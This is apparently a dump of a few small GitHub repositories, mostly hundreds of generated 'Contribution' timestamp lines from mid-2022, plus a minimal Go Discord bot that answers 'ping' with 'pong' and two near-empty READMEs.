Contribution: 2022-07-08 20:00

Contribution: 2022-07-08 20:01

Contribution: 2022-07-08 20:02

Contribution: 2022-07-08 20:03

Contribution: 2022-07-08 20:04

Contribution: 2022-07-08 20:05

Contribution: 2022-07-08 20:06

Contribution: 2022-07-08 20:07

Contribution: 2022-07-08 20:08

Contribution: 2022-07-08 20:09

Contribution: 2022-07-08 20:10

Contribution: 2022-07-08 20:11

Contribution: 2022-07-08 20:12

Contribution: 2022-07-08 20:13

Contribution: 2022-07-08 20:14

Contribution: 2022-07-09 20:00

Contribution: 2022-07-09 20:01

Contribution: 2022-07-09 20:02

Contribution: 2022-07-09 20:03

Contribution: 2022-07-09 20:04

Contribution: 2022-07-09 20:05

Contribution: 2022-07-09 20:06
```

```
Contribution: 2022-07-09 20:07

Contribution: 2022-07-09 20:08

Contribution: 2022-07-09 20:09

Contribution: 2022-07-09 20:10

Contribution: 2022-07-10 20:00

Contribution: 2022-07-12 20:00

Contribution: 2022-07-13 20:00

Contribution: 2022-07-13 20:01

Contribution: 2022-07-13 20:02

Contribution: 2022-07-13 20:03

Contribution: 2022-07-13 20:04

Contribution: 2022-07-13 20:05

Contribution: 2022-07-13 20:06

Contribution: 2022-07-14 20:00

Contribution: 2022-07-14 20:01

Contribution: 2022-07-14 20:02

Contribution: 2022-07-14 20:03

Contribution: 2022-07-14 20:04

Contribution: 2022-07-14 20:05

Contribution: 2022-07-14 20:06

Contribution: 2022-07-14 20:07

Contribution: 2022-07-14 20:08

Contribution: 2022-07-14 20:09

Contribution: 2022-07-14 20:10

Contribution: 2022-07-14 20:11

Contribution: 2022-07-14 20:12

Contribution: 2022-07-16 20:00
```

Contribution: 2022-07-16 20:01

Contribution: 2022-07-16 20:02

Contribution: 2022-07-16 20:03

Contribution: 2022-07-16 20:04

Contribution: 2022-07-17 20:00

Contribution: 2022-07-17 20:01

Contribution: 2022-07-17 20:02

Contribution: 2022-07-17 20:03

Contribution: 2022-07-17 20:04

Contribution: 2022-07-17 20:05

Contribution: 2022-07-18 20:00

Contribution: 2022-07-18 20:01

Contribution: 2022-07-20 20:00

Contribution: 2022-07-20 20:01

Contribution: 2022-07-20 20:02

Contribution: 2022-07-20 20:03

Contribution: 2022-07-20 20:04

Contribution: 2022-07-20 20:05

Contribution: 2022-07-20 20:06

Contribution: 2022-07-20 20:07

Contribution: 2022-07-20 20:08

Contribution: 2022-07-20 20:09

Contribution: 2022-07-20 20:10

Contribution: 2022-07-20 20:11

Contribution: 2022-07-20 20:12

Contribution: 2022-07-20 20:13

Contribution: 2022-07-21 20:00

Contribution: 2022-07-21 20:01

Contribution: 2022-07-21 20:02

Contribution: 2022-07-22 20:00

Contribution: 2022-07-22 20:01

Contribution: 2022-07-22 20:02

Contribution: 2022-07-22 20:03

Contribution: 2022-07-22 20:04

Contribution: 2022-07-22 20:05

Contribution: 2022-07-22 20:06

Contribution: 2022-07-22 20:07

Contribution: 2022-07-23 20:00

Contribution: 2022-07-23 20:01

Contribution: 2022-07-24 20:00

Contribution: 2022-07-24 20:01

Contribution: 2022-07-24 20:02

Contribution: 2022-07-24 20:03

Contribution: 2022-07-24 20:04

Contribution: 2022-07-24 20:05

Contribution: 2022-07-24 20:06

Contribution: 2022-07-25 20:00

Contribution: 2022-07-26 20:00

Contribution: 2022-07-26 20:01

Contribution: 2022-07-27 20:00

Contribution: 2022-07-27 20:01

Contribution: 2022-07-27 20:02

Contribution: 2022-07-27 20:03

Contribution: 2022-07-27 20:04

Contribution: 2022-07-27 20:05

Contribution: 2022-07-27 20:06

Contribution: 2022-07-27 20:07

Contribution: 2022-07-27 20:08

Contribution: 2022-07-28 20:00

Contribution: 2022-07-28 20:01

Contribution: 2022-07-28 20:02

Contribution: 2022-07-28 20:03

Contribution: 2022-07-28 20:04

Contribution: 2022-07-28 20:05

Contribution: 2022-07-28 20:06

Contribution: 2022-07-28 20:07

Contribution: 2022-07-28 20:08

Contribution: 2022-07-28 20:09

Contribution: 2022-07-28 20:10

Contribution: 2022-07-28 20:11

Contribution: 2022-07-28 20:12

Contribution: 2022-07-29 20:00

Contribution: 2022-07-29 20:01

Contribution: 2022-07-29 20:02

Contribution: 2022-07-29 20:03

Contribution: 2022-07-29 20:04

Contribution: 2022-07-29 20:05

Contribution: 2022-07-29 20:06

Contribution: 2022-07-29 20:07

Contribution: 2022-07-29 20:08

Contribution: 2022-08-01 20:00

Contribution: 2022-08-01 20:01

Contribution: 2022-08-01 20:02

Contribution: 2022-08-01 20:03

Contribution: 2022-08-01 20:04

Contribution: 2022-08-01 20:05

Contribution: 2022-08-01 20:06

Contribution: 2022-08-01 20:07

Contribution: 2022-08-01 20:08

Contribution: 2022-08-01 20:09

Contribution: 2022-08-01 20:10

Contribution: 2022-08-01 20:11

Contribution: 2022-08-01 20:12

Contribution: 2022-08-01 20:13

Contribution: 2022-08-01 20:14

Contribution: 2022-08-02 20:00

Contribution: 2022-08-02 20:01

Contribution: 2022-08-02 20:02

Contribution: 2022-08-02 20:03

Contribution: 2022-08-02 20:04

Contribution: 2022-08-02 20:05

Contribution: 2022-08-02 20:06

Contribution: 2022-08-02 20:07

Contribution: 2022-08-02 20:08

Contribution: 2022-08-02 20:09

Contribution: 2022-08-02 20:10

Contribution: 2022-08-02 20:11

Contribution: 2022-08-02 20:12

```
Contribution: 2022-08-02 20:13

Contribution: 2022-08-03 20:00

Contribution: 2022-08-03 20:01

Contribution: 2022-08-03 20:02

Contribution: 2022-08-03 20:03

Contribution: 2022-08-03 20:04

Contribution: 2022-08-03 20:05

Contribution: 2022-08-03 20:06

Contribution: 2022-08-03 20:07

Contribution: 2022-08-03 20:08

Contribution: 2022-08-03 20:09

Contribution: 2022-08-03 20:10

Contribution: 2022-08-04 20:00

Contribution: 2022-08-04 20:01

Contribution: 2022-08-04 20:02

Contribution: 2022-08-04 20:03

Contribution: 2022-08-04 20:04

Contribution: 2022-08-04 20:05

Contribution: 2022-08-04 20:06

Contribution: 2022-08-04 20:07

Contribution: 2022-08-04 20:08

Contribution: 2022-08-04 20:09

Contribution: 2022-08-04 20:10

Contribution: 2022-08-04 20:11

Contribution: 2022-08-04 20:12

Contribution: 2022-08-04 20:13

Contribution: 2022-08-05 20:00
```

Contribution: 2022-08-05 20:01

Contribution: 2022-08-05 20:02

Contribution: 2022-08-05 20:03

Contribution: 2022-08-07 20:00

Contribution: 2022-08-07 20:01

Contribution: 2022-08-07 20:02

Contribution: 2022-08-07 20:03

Contribution: 2022-08-08 20:00

Contribution: 2022-08-08 20:01

Contribution: 2022-08-08 20:02

Contribution: 2022-08-08 20:03

Contribution: 2022-08-08 20:04

Contribution: 2022-08-08 20:05

Contribution: 2022-08-08 20:06

Contribution: 2022-08-08 20:07

Contribution: 2022-08-08 20:08

Contribution: 2022-08-08 20:09

Contribution: 2022-08-09 20:00

Contribution: 2022-08-09 20:01

Contribution: 2022-08-09 20:02

Contribution: 2022-08-09 20:03

Contribution: 2022-08-09 20:04

Contribution: 2022-08-09 20:05

Contribution: 2022-08-09 20:06

Contribution: 2022-08-09 20:07

Contribution: 2022-08-09 20:08

Contribution: 2022-08-09 20:09

Contribution: 2022-08-09 20:10

Contribution: 2022-08-09 20:11

Contribution: 2022-08-09 20:12

Contribution: 2022-08-09 20:13

Contribution: 2022-08-11 20:00

Contribution: 2022-08-11 20:01

Contribution: 2022-08-11 20:02

Contribution: 2022-08-11 20:03

Contribution: 2022-08-11 20:04

Contribution: 2022-08-11 20:05

Contribution: 2022-08-11 20:06

Contribution: 2022-08-11 20:07

Contribution: 2022-08-11 20:08

Contribution: 2022-08-12 20:00

Contribution: 2022-08-12 20:01

Contribution: 2022-08-12 20:02

Contribution: 2022-08-12 20:03

Contribution: 2022-08-12 20:04

Contribution: 2022-08-12 20:05

Contribution: 2022-08-12 20:06

Contribution: 2022-08-12 20:07

Contribution: 2022-08-13 20:00

Contribution: 2022-08-13 20:01

Contribution: 2022-08-13 20:02

Contribution: 2022-08-13 20:03

Contribution: 2022-08-13 20:04

Contribution: 2022-08-13 20:05

Contribution: 2022-08-13 20:06

Contribution: 2022-08-13 20:07

Contribution: 2022-08-13 20:08

Contribution: 2022-08-14 20:00

Contribution: 2022-08-14 20:01

Contribution: 2022-08-14 20:02

Contribution: 2022-08-14 20:03

Contribution: 2022-08-14 20:04

Contribution: 2022-08-14 20:05

Contribution: 2022-08-14 20:06

Contribution: 2022-08-14 20:07

Contribution: 2022-08-14 20:08

Contribution: 2022-08-14 20:09

Contribution: 2022-08-14 20:10

Contribution: 2022-08-14 20:11

Contribution: 2022-08-14 20:12

Contribution: 2022-08-15 20:00

Contribution: 2022-08-16 20:00

Contribution: 2022-08-16 20:01

Contribution: 2022-08-16 20:02

Contribution: 2022-08-16 20:03

Contribution: 2022-08-16 20:04

Contribution: 2022-08-19 20:00

Contribution: 2022-08-19 20:01

Contribution: 2022-08-19 20:02

Contribution: 2022-08-19 20:03

Contribution: 2022-08-19 20:04

Contribution: 2022-08-19 20:05

Contribution: 2022-08-19 20:06

Contribution: 2022-08-19 20:07

Contribution: 2022-08-19 20:08

Contribution: 2022-08-19 20:09

Contribution: 2022-08-19 20:10

Contribution: 2022-08-19 20:11

Contribution: 2022-08-19 20:12

Contribution: 2022-08-19 20:13

Contribution: 2022-08-20 20:00

Contribution: 2022-08-20 20:01

Contribution: 2022-08-22 20:00

Contribution: 2022-08-22 20:01

Contribution: 2022-08-22 20:02

Contribution: 2022-08-22 20:03

Contribution: 2022-08-22 20:04

Contribution: 2022-08-22 20:05

Contribution: 2022-08-22 20:06

Contribution: 2022-08-22 20:07

Contribution: 2022-08-22 20:08

Contribution: 2022-08-22 20:09

Contribution: 2022-08-22 20:10

Contribution: 2022-08-23 20:00

Contribution: 2022-08-23 20:01

Contribution: 2022-08-23 20:02

Contribution: 2022-08-23 20:03

Contribution: 2022-08-23 20:04

Contribution: 2022-08-23 20:05

Contribution: 2022-08-23 20:06

Contribution: 2022-08-23 20:07

Contribution: 2022-08-26 20:00

Contribution: 2022-08-26 20:01

Contribution: 2022-08-26 20:02

Contribution: 2022-08-27 20:00

Contribution: 2022-08-27 20:01

Contribution: 2022-08-27 20:02

Contribution: 2022-08-27 20:03

Contribution: 2022-08-27 20:04

Contribution: 2022-08-27 20:05

Contribution: 2022-08-27 20:06

Contribution: 2022-08-29 20:00

Contribution: 2022-08-29 20:01

Contribution: 2022-08-29 20:02

Contribution: 2022-08-29 20:03

Contribution: 2022-08-30 20:00

Contribution: 2022-08-30 20:01

Contribution: 2022-08-30 20:02

Contribution: 2022-08-30 20:03

Contribution: 2022-08-30 20:04

Contribution: 2022-08-30 20:05

Contribution: 2022-08-30 20:06

Contribution: 2022-08-30 20:07

Contribution: 2022-08-30 20:08

Contribution: 2022-08-30 20:09

Contribution: 2022-08-30 20:10

Contribution: 2022-08-30 20:11

Contribution: 2022-08-30 20:12

Contribution: 2022-08-30 20:13

Contribution: 2022-08-31 20:00

Contribution: 2022-08-31 20:01

Contribution: 2022-08-31 20:02

Contribution: 2022-08-31 20:03

Contribution: 2022-08-31 20:04

Contribution: 2022-08-31 20:05

Contribution: 2022-08-31 20:06

Contribution: 2022-08-31 20:07

Contribution: 2022-08-31 20:08

Contribution: 2022-08-31 20:09

Contribution: 2022-09-01 20:00

Contribution: 2022-09-01 20:01

Contribution: 2022-09-01 20:02

Contribution: 2022-09-01 20:03

Contribution: 2022-09-01 20:04

Contribution: 2022-09-01 20:05

Contribution: 2022-09-02 20:00

Contribution: 2022-09-02 20:01

Contribution: 2022-09-02 20:02

Contribution: 2022-09-02 20:03

Contribution: 2022-09-02 20:04

Contribution: 2022-09-02 20:05

Contribution: 2022-09-02 20:06

Contribution: 2022-09-03 20:00

Contribution: 2022-09-03 20:01

Contribution: 2022-09-03 20:02

Contribution: 2022-09-03 20:03

Contribution: 2022-09-03 20:04

Contribution: 2022-09-04 20:00

Contribution: 2022-09-06 20:00

Contribution: 2022-09-07 20:00

Contribution: 2022-09-07 20:01

Contribution: 2022-09-07 20:02

Contribution: 2022-09-07 20:03

Contribution: 2022-09-07 20:04

Contribution: 2022-09-08 20:00

Contribution: 2022-09-09 20:00

Contribution: 2022-09-09 20:01

Contribution: 2022-09-09 20:02

Contribution: 2022-09-09 20:03

Contribution: 2022-09-09 20:04

Contribution: 2022-09-09 20:05

Contribution: 2022-09-09 20:06

Contribution: 2022-09-09 20:07

Contribution: 2022-09-09 20:08

Contribution: 2022-09-09 20:09

Contribution: 2022-09-10 20:00

Contribution: 2022-09-10 20:01

Contribution: 2022-09-10 20:02

Contribution: 2022-09-10 20:03

Contribution: 2022-09-10 20:04

Contribution: 2022-09-10 20:05

Contribution: 2022-09-10 20:06

Contribution: 2022-09-10 20:07

Contribution: 2022-09-10 20:08

Contribution: 2022-09-10 20:09

Contribution: 2022-09-10 20:10

Contribution: 2022-09-10 20:11

Contribution: 2022-09-10 20:12

Contribution: 2022-09-11 20:00

Contribution: 2022-09-11 20:01

Contribution: 2022-09-11 20:02

Contribution: 2022-09-11 20:03

Contribution: 2022-09-11 20:04

Contribution: 2022-09-11 20:05

Contribution: 2022-09-11 20:06

Contribution: 2022-09-12 20:00

Contribution: 2022-09-12 20:01

Contribution: 2022-09-12 20:02

Contribution: 2022-09-12 20:03

Contribution: 2022-09-12 20:04

Contribution: 2022-09-12 20:05

Contribution: 2022-09-12 20:06

Contribution: 2022-09-12 20:07

Contribution: 2022-09-12 20:08

Contribution: 2022-09-12 20:09

Contribution: 2022-09-12 20:10

Contribution: 2022-09-12 20:11

Contribution: 2022-09-12 20:12

Contribution: 2022-09-12 20:13

Contribution: 2022-09-13 20:00

Contribution: 2022-09-13 20:01

Contribution: 2022-09-13 20:02

Contribution: 2022-09-13 20:03

Contribution: 2022-09-13 20:04

Contribution: 2022-09-13 20:05

Contribution: 2022-09-13 20:06

Contribution: 2022-09-13 20:07

Contribution: 2022-09-13 20:08

Contribution: 2022-09-13 20:09

Contribution: 2022-09-13 20:10

Contribution: 2022-09-13 20:11

Contribution: 2022-09-13 20:12

Contribution: 2022-09-14 20:00

Contribution: 2022-09-14 20:01

Contribution: 2022-09-15 20:00

Contribution: 2022-09-15 20:01

Contribution: 2022-09-15 20:02

Contribution: 2022-09-15 20:03

Contribution: 2022-09-15 20:04

Contribution: 2022-09-15 20:05

Contribution: 2022-09-15 20:06

Contribution: 2022-09-15 20:07

Contribution: 2022-09-15 20:08

Contribution: 2022-09-15 20:09

Contribution: 2022-09-15 20:10

Contribution: 2022-09-15 20:11

Contribution: 2022-09-17 20:00

Contribution: 2022-09-17 20:01

Contribution: 2022-09-17 20:02

Contribution: 2022-09-17 20:03

Contribution: 2022-09-17 20:04

Contribution: 2022-09-17 20:05

Contribution: 2022-09-17 20:06

Contribution: 2022-09-17 20:07

Contribution: 2022-09-17 20:08

Contribution: 2022-09-17 20:09

Contribution: 2022-09-17 20:10

Contribution: 2022-09-17 20:11

Contribution: 2022-09-18 20:00

Contribution: 2022-09-18 20:01

Contribution: 2022-09-18 20:02

Contribution: 2022-09-18 20:03

Contribution: 2022-09-18 20:04

Contribution: 2022-09-18 20:05

Contribution: 2022-09-18 20:06

Contribution: 2022-09-18 20:07

Contribution: 2022-09-18 20:08

Contribution: 2022-09-18 20:09

Contribution: 2022-09-18 20:10

Contribution: 2022-09-18 20:11

```
Contribution: 2022-09-18 20:12

Contribution: 2022-09-20 20:00

Contribution: 2022-09-20 20:01

Contribution: 2022-09-20 20:02

Contribution: 2022-09-20 20:03

Contribution: 2022-09-20 20:04

Contribution: 2022-09-20 20:05

Contribution: 2022-09-20 20:06

Contribution: 2022-09-20 20:07

Contribution: 2022-09-21 20:00

Contribution: 2022-09-21 20:01

Contribution: 2022-09-21 20:02

Contribution: 2022-09-21 20:03

Contribution: 2022-09-21 20:04

Contribution: 2022-09-21 20:05

Contribution: 2022-09-21 20:06

Contribution: 2022-09-21 20:07

Contribution: 2022-09-21 20:08

Contribution: 2022-09-21 20:09

Contribution: 2022-09-22 20:00

Contribution: 2022-09-22 20:01

Contribution: 2022-09-22 20:02

Contribution: 2022-09-22 20:03

Contribution: 2022-09-22 20:04

Contribution: 2022-09-22 20:05

Contribution: 2022-09-22 20:06

Contribution: 2022-09-22 20:07
```

```
Contribution: 2022-09-22 20:08

Contribution: 2022-09-22 20:09

Contribution: 2022-09-22 20:10

Contribution: 2022-09-22 20:11

Contribution: 2022-09-23 20:00

Contribution: 2022-09-23 20:01

Contribution: 2022-09-23 20:02

Contribution: 2022-09-23 20:03

Contribution: 2022-09-23 20:04

Contribution: 2022-09-23 20:05

Contribution: 2022-09-23 20:06

Contribution: 2022-09-24 20:00

Contribution: 2022-09-24 20:01

Contribution: 2022-09-24 20:02

Contribution: 2022-09-24 20:03

Contribution: 2022-09-24 20:04

Contribution: 2022-09-24 20:05

Contribution: 2022-09-24 20:06

Contribution: 2022-09-24 20:07

Contribution: 2022-09-24 20:08

Contribution: 2022-09-24 20:09

Contribution: 2022-09-24 20:10

Contribution: 2022-09-24 20:11

Contribution: 2022-09-24 20:12

Contribution: 2022-09-24 20:13

Contribution: 2022-09-27 20:00

Contribution: 2022-09-27 20:01
```

Contribution: 2022-09-27 20:02

Contribution: 2022-09-27 20:03

Contribution: 2022-09-27 20:04

Contribution: 2022-09-27 20:05

Contribution: 2022-09-27 20:06

Contribution: 2022-09-30 20:00

Contribution: 2022-10-01 20:00

Contribution: 2022-10-01 20:01

Contribution: 2022-10-01 20:02

Contribution: 2022-10-01 20:03

Contribution: 2022-10-01 20:04

Contribution: 2022-10-01 20:05

Contribution: 2022-10-01 20:06

Contribution: 2022-10-01 20:07

Contribution: 2022-10-01 20:08

Contribution: 2022-10-01 20:09

Contribution: 2022-10-01 20:10

Contribution: 2022-10-01 20:11

Contribution: 2022-10-01 20:12

Contribution: 2022-10-01 20:13

Contribution: 2022-10-01 20:14

Contribution: 2022-10-02 20:00

Contribution: 2022-10-02 20:01

Contribution: 2022-10-02 20:02

Contribution: 2022-10-02 20:03

Contribution: 2022-10-02 20:04

Contribution: 2022-10-02 20:05

```
Contribution: 2022-10-03 20:00

Contribution: 2022-10-03 20:01

Contribution: 2022-10-03 20:02

Contribution: 2022-10-03 20:03

Contribution: 2022-10-03 20:04

Contribution: 2022-10-03 20:05

Contribution: 2022-10-03 20:06

Contribution: 2022-10-03 20:07

Contribution: 2022-10-03 20:08

Contribution: 2022-10-03 20:09

Contribution: 2022-10-03 20:10

Contribution: 2022-10-03 20:11

Contribution: 2022-10-03 20:12

Contribution: 2022-10-04 20:00

Contribution: 2022-10-05 20:00

Contribution: 2022-10-05 20:01

Contribution: 2022-10-05 20:02

Contribution: 2022-10-05 20:03

Contribution: 2022-10-05 20:04

Contribution: 2022-10-05 20:05

Contribution: 2022-10-05 20:06

Contribution: 2022-10-05 20:07

Contribution: 2022-10-05 20:08

Contribution: 2022-10-05 20:09

Contribution: 2022-10-06 20:00

Contribution: 2022-10-06 20:01

Contribution: 2022-10-06 20:02
```

Contribution: 2022-10-06 20:03

Contribution: 2022-10-06 20:04

Contribution: 2022-10-07 20:00

Contribution: 2022-10-07 20:01

Contribution: 2022-10-07 20:02

Contribution: 2022-10-07 20:03

Contribution: 2022-10-07 20:04

Contribution: 2022-10-07 20:05

Contribution: 2022-10-07 20:06

Contribution: 2022-10-07 20:07

Contribution: 2022-10-07 20:08

Contribution: 2022-10-07 20:09

Contribution: 2022-10-07 20:10

Contribution: 2022-10-07 20:11

Contribution: 2022-10-07 20:12

Contribution: 2022-10-07 20:13

Contribution: 2022-10-07 20:14

Contribution: 2022-10-10 20:00

Contribution: 2022-10-10 20:01

Contribution: 2022-10-10 20:02

Contribution: 2022-10-10 20:03

Contribution: 2022-10-11 20:00

Contribution: 2022-10-11 20:01

Contribution: 2022-10-11 20:02

Contribution: 2022-10-11 20:03

Contribution: 2022-10-11 20:04

Contribution: 2022-10-11 20:05

```
Contribution: 2022-10-11 20:06

Contribution: 2022-10-11 20:07

Contribution: 2022-10-11 20:08

Contribution: 2022-10-11 20:09

Contribution: 2022-10-11 20:10

Contribution: 2022-10-11 20:11

Contribution: 2022-10-11 20:12

Contribution: 2022-10-11 20:13

Contribution: 2022-10-13 20:00

Contribution: 2022-10-13 20:01

Contribution: 2022-10-13 20:02

Contribution: 2022-10-13 20:03

Contribution: 2022-10-13 20:04

Contribution: 2022-10-13 20:05

Contribution: 2022-10-13 20:06

Contribution: 2022-10-13 20:07

Contribution: 2022-10-13 20:08

Contribution: 2022-10-13 20:09

Contribution: 2022-10-13 20:10

Contribution: 2022-10-13 20:11

Contribution: 2022-10-13 20:12

Contribution: 2022-10-14 20:00

Contribution: 2022-10-14 20:01

Contribution: 2022-10-14 20:02

Contribution: 2022-10-14 20:03

Contribution: 2022-10-16 20:00

Contribution: 2022-10-16 20:01
```

```
Contribution: 2022-10-16 20:02

Contribution: 2022-10-17 20:00

Contribution: 2022-10-17 20:01

Contribution: 2022-10-17 20:02

Contribution: 2022-10-17 20:03

Contribution: 2022-10-17 20:04

Contribution: 2022-10-17 20:05

Contribution: 2022-10-17 20:06

Contribution: 2022-10-17 20:07

Contribution: 2022-10-17 20:08

Contribution: 2022-10-17 20:09

Contribution: 2022-10-19 20:00

Contribution: 2022-10-20 20:00

Contribution: 2022-10-20 20:01

Contribution: 2022-10-20 20:02

Contribution: 2022-10-20 20:03

Contribution: 2022-10-20 20:04

Contribution: 2022-10-20 20:05

Contribution: 2022-10-20 20:06

Contribution: 2022-10-20 20:07

Contribution: 2022-10-20 20:08

Contribution: 2022-10-20 20:09

Contribution: 2022-10-20 20:10

Contribution: 2022-10-20 20:11

Contribution: 2022-10-20 20:12

Contribution: 2022-10-20 20:13

Contribution: 2022-10-20 20:14
```

Contribution: 2022-10-21 20:00

Contribution: 2022-10-21 20:01

Contribution: 2022-10-21 20:02

Repository: go_discord_bot

File: README.md

```
# go_discord_bot
idk
```

File: main.go

```
package main

import (
"fmt"
"os"
"os/signal"
"syscall"

"github.com/bwmarrin/discordgo"
)

func main() {
// Create a new Discord session using the bot token.
dg, err := discordgo.New("Bot " + BOT_TOKEN)
if err != nil {
fmt.Println("Error creating Discord session:", err)
return
}

// Add a message handler for the "messageCreate" event.
dg.AddHandler(messageCreate)

// Open a websocket connection to Discord and begin listening for events.
err = dg.Open()
if err != nil {
fmt.Println("Error opening connection:", err)
return
}

// Wait here until CTRL-C or other term signal is received.
fmt.Println("Bot is now running. Press CTRL-C to exit.")
sc := make(chan os.Signal, 1)
signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)
<-sc

// Cleanly close down the Discord session.
dg.Close()
}

func messageCreate(s *discordgo.Session, m *discordgo.MessageCreate) {
// Ignore messages from bots and our own messages.
if m.Author.Bot || m.Author.ID == s.State.User.ID {
return
}

// Respond to a user's message.
if m.Content == "ping" {
s.ChannelMessageSend(m.ChannelID, "pong")
}
}
```

Repository: groot-logo

File: README.md

```
# groot-logo
```

Repository: idk

File: README.md

```
Contribution: 2022-08-23 20:00

Contribution: 2022-08-23 20:01

Contribution: 2022-08-23 20:02

Contribution: 2022-08-23 20:03

Contribution: 2022-08-23 20:04

Contribution: 2022-08-23 20:05

Contribution: 2022-08-23 20:06

Contribution: 2022-08-23 20:07

Contribution: 2022-08-23 20:08

Contribution: 2022-08-23 20:09

Contribution: 2022-08-24 20:00

Contribution: 2022-08-24 20:01

Contribution: 2022-08-24 20:02

Contribution: 2022-08-24 20:03

Contribution: 2022-08-24 20:04

Contribution: 2022-08-24 20:05

Contribution: 2022-08-26 20:00

Contribution: 2022-08-26 20:01

Contribution: 2022-08-26 20:02

Contribution: 2022-08-26 20:03

Contribution: 2022-08-26 20:04

Contribution: 2022-08-26 20:05

Contribution: 2022-08-28 20:00

Contribution: 2022-08-28 20:01
```

Contribution: 2022-08-28 20:02

Contribution: 2022-08-28 20:03

Contribution: 2022-08-28 20:04

Contribution: 2022-08-28 20:05

Contribution: 2022-08-28 20:06

Contribution: 2022-08-28 20:07

Contribution: 2022-08-28 20:08

Contribution: 2022-08-29 20:00

Contribution: 2022-08-29 20:01

Contribution: 2022-08-29 20:02

Contribution: 2022-09-01 20:00

Contribution: 2022-09-01 20:01

Contribution: 2022-09-01 20:02

Contribution: 2022-09-01 20:03

Contribution: 2022-09-01 20:04

Contribution: 2022-09-03 20:00

Contribution: 2022-09-03 20:01

Contribution: 2022-09-03 20:02

Contribution: 2022-09-03 20:03

Contribution: 2022-09-03 20:04

Contribution: 2022-09-03 20:05

Contribution: 2022-09-03 20:06

Contribution: 2022-09-03 20:07

Contribution: 2022-09-04 20:00

Contribution: 2022-09-04 20:01

Contribution: 2022-09-05 20:00

Contribution: 2022-09-05 20:01

Contribution: 2022-09-05 20:02

Contribution: 2022-09-05 20:03

Contribution: 2022-09-05 20:04

Contribution: 2022-09-05 20:05

Contribution: 2022-09-05 20:06

Contribution: 2022-09-05 20:07

Contribution: 2022-09-05 20:08

Contribution: 2022-09-05 20:09

Contribution: 2022-09-05 20:10

Contribution: 2022-09-05 20:11

Contribution: 2022-09-07 20:00

Contribution: 2022-09-07 20:01

Contribution: 2022-09-07 20:02

Contribution: 2022-09-07 20:03

Contribution: 2022-09-08 20:00

Contribution: 2022-09-08 20:01

Contribution: 2022-09-08 20:02

Contribution: 2022-09-08 20:03

Contribution: 2022-09-08 20:04

Contribution: 2022-09-08 20:05

Contribution: 2022-09-09 20:00

Contribution: 2022-09-12 20:00

Contribution: 2022-09-15 20:00

Contribution: 2022-09-15 20:01

Contribution: 2022-09-15 20:02

Contribution: 2022-09-15 20:03

Contribution: 2022-09-15 20:04

Contribution: 2022-09-15 20:05

Contribution: 2022-09-15 20:06

Contribution: 2022-09-15 20:07

Contribution: 2022-09-15 20:08

Contribution: 2022-09-15 20:09

Contribution: 2022-09-15 20:10

Contribution: 2022-09-16 20:00

Contribution: 2022-09-16 20:01

Contribution: 2022-09-16 20:02

Contribution: 2022-09-16 20:03

Contribution: 2022-09-16 20:04

Contribution: 2022-09-16 20:05

Contribution: 2022-09-16 20:06

Contribution: 2022-09-16 20:07

Contribution: 2022-09-17 20:00

Contribution: 2022-09-17 20:01

Contribution: 2022-09-17 20:02

Contribution: 2022-09-18 20:00

Contribution: 2022-09-18 20:01

Contribution: 2022-09-18 20:02

Contribution: 2022-09-18 20:03

Contribution: 2022-09-20 20:00

Contribution: 2022-09-20 20:01

Contribution: 2022-09-20 20:02

Contribution: 2022-09-20 20:03

Contribution: 2022-09-20 20:04

Contribution: 2022-09-20 20:05

```
Contribution: 2022-09-22 20:00

Contribution: 2022-09-22 20:01

Contribution: 2022-09-22 20:02

Contribution: 2022-09-22 20:03

Contribution: 2022-09-22 20:04

Contribution: 2022-09-22 20:05

Contribution: 2022-09-22 20:06

Contribution: 2022-09-22 20:07

Contribution: 2022-09-23 20:00

Contribution: 2022-09-23 20:01

Contribution: 2022-09-23 20:02

Contribution: 2022-09-23 20:03

Contribution: 2022-09-23 20:04

Contribution: 2022-09-23 20:05

Contribution: 2022-09-24 20:00

Contribution: 2022-09-24 20:01

Contribution: 2022-09-24 20:02

Contribution: 2022-09-24 20:03

Contribution: 2022-09-24 20:04

Contribution: 2022-09-24 20:05

Contribution: 2022-09-24 20:06

Contribution: 2022-09-24 20:07

Contribution: 2022-09-26 20:00

Contribution: 2022-09-26 20:01

Contribution: 2022-09-28 20:00

Contribution: 2022-09-28 20:01

Contribution: 2022-09-28 20:02
```

Contribution: 2022-09-28 20:03

Contribution: 2022-09-28 20:04

Contribution: 2022-09-28 20:05

Contribution: 2022-09-28 20:06

Contribution: 2022-09-28 20:07

Contribution: 2022-09-28 20:08

Contribution: 2022-09-28 20:09

Contribution: 2022-09-28 20:10

Contribution: 2022-09-30 20:00

Contribution: 2022-09-30 20:01

Contribution: 2022-09-30 20:02

Contribution: 2022-09-30 20:03

Contribution: 2022-09-30 20:04

Contribution: 2022-09-30 20:05

Contribution: 2022-09-30 20:06

Contribution: 2022-09-30 20:07

Contribution: 2022-09-30 20:08

Contribution: 2022-09-30 20:09

Contribution: 2022-09-30 20:10

Contribution: 2022-10-01 20:00

Contribution: 2022-10-01 20:01

Contribution: 2022-10-01 20:02

Contribution: 2022-10-01 20:03

Contribution: 2022-10-01 20:04

Contribution: 2022-10-01 20:05

Contribution: 2022-10-01 20:06

Contribution: 2022-10-01 20:07

Contribution: 2022-10-01 20:08

Contribution: 2022-10-01 20:09

Contribution: 2022-10-02 20:00

Contribution: 2022-10-02 20:01

Contribution: 2022-10-02 20:02

Contribution: 2022-10-02 20:03

Contribution: 2022-10-02 20:04

Contribution: 2022-10-02 20:05

Contribution: 2022-10-02 20:06

Contribution: 2022-10-02 20:07

Contribution: 2022-10-02 20:08

Contribution: 2022-10-02 20:09

Contribution: 2022-10-04 20:00

Contribution: 2022-10-04 20:01

Contribution: 2022-10-05 20:00

Contribution: 2022-10-05 20:01

Contribution: 2022-10-05 20:02

Contribution: 2022-10-06 20:00

Contribution: 2022-10-06 20:01

Contribution: 2022-10-06 20:02

Contribution: 2022-10-06 20:03

Contribution: 2022-10-06 20:04

Contribution: 2022-10-06 20:05

Contribution: 2022-10-06 20:06

Contribution: 2022-10-06 20:07

Contribution: 2022-10-07 20:00

Contribution: 2022-10-07 20:01

Contribution: 2022-10-07 20:02

Contribution: 2022-10-07 20:03

Contribution: 2022-10-07 20:04

Contribution: 2022-10-07 20:05

Contribution: 2022-10-07 20:06

Contribution: 2022-10-08 20:00

Contribution: 2022-10-08 20:01

Contribution: 2022-10-08 20:02

Contribution: 2022-10-08 20:03

Contribution: 2022-10-08 20:04

Contribution: 2022-10-08 20:05

Contribution: 2022-10-08 20:06

Contribution: 2022-10-08 20:07

